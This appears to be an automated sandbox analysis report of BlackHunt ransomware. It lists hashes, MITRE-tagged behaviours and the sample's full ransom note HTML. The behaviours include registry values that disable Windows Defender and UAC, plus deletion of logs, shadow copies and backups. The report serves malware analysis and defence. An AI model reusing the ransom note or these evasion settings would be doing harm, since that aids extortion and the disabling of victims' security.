9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a

Analysis

max time kernel
118s
max time network
121s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
19-01-2024 00:18

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General

Target

9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
Size

707KB
MD5

107d5484b3d34e5560406e214e6c1d0e
SHA1

939d1b225cbb7ec7ca8c739d1b6f4f49032e1774
SHA256

9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a
SHA512

8c0e52726bb77a7ca34c1a6bffbfce769c1d40c8154f0d2e51ac9fab76b8e166fba0c431da42114ed9f781742efa2e7786e31f245a47df7e07daff69d8867c2c
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza158ivnh:6uaTmkZJ+naie5OTamgEoKxLWcsh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> 1QB9TG4UTMRMkaFQ </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2464	fsutil.exe
2860	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2772	wevtutil.exe
1308	wevtutil.exe
3964	wevtutil.exe
3240	wevtutil.exe
668	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3640	bcdedit.exe
1112	bcdedit.exe
1952	bcdedit.exe
3680	bcdedit.exe

Renames multiple (2917) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2708	wbadmin.exe
3744	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
3700	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\W:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\S:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\Z:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\E:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\T:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\V:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\Q:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\J:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\X:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Y:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\I:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\P:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\U:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\O:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\H:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\B:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\N:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\M:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\R:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\A:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\G:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\K:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\L:	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\M:	fsutil.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-selector-api.jar	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Efate	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\#BlackHunt_Private.key	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\bin\NetworkServerControl	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\META-INF\#BlackHunt_ReadMe.txt	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.repository.nl_ja_4.4.0.v20140623020002.jar	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\#BlackHunt_Private.key	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Whitehorse	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\mux\#BlackHunt_ReadMe.hta	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\applet\#BlackHunt_ReadMe.hta	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Postage_ButtonGraphic.png	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Atikokan	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\#BlackHunt_Private.key	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-spi-quicksearch_ja.jar	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mn\#BlackHunt_Private.key	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Port_Moresby	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pt-br.txt	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\meta-index	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Belgrade	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\conticon.gif	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.intro.nl_zh_4.4.0.v20140623020002.jar	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Antarctica\Vostok	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\spu\#BlackHunt_Private.key	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
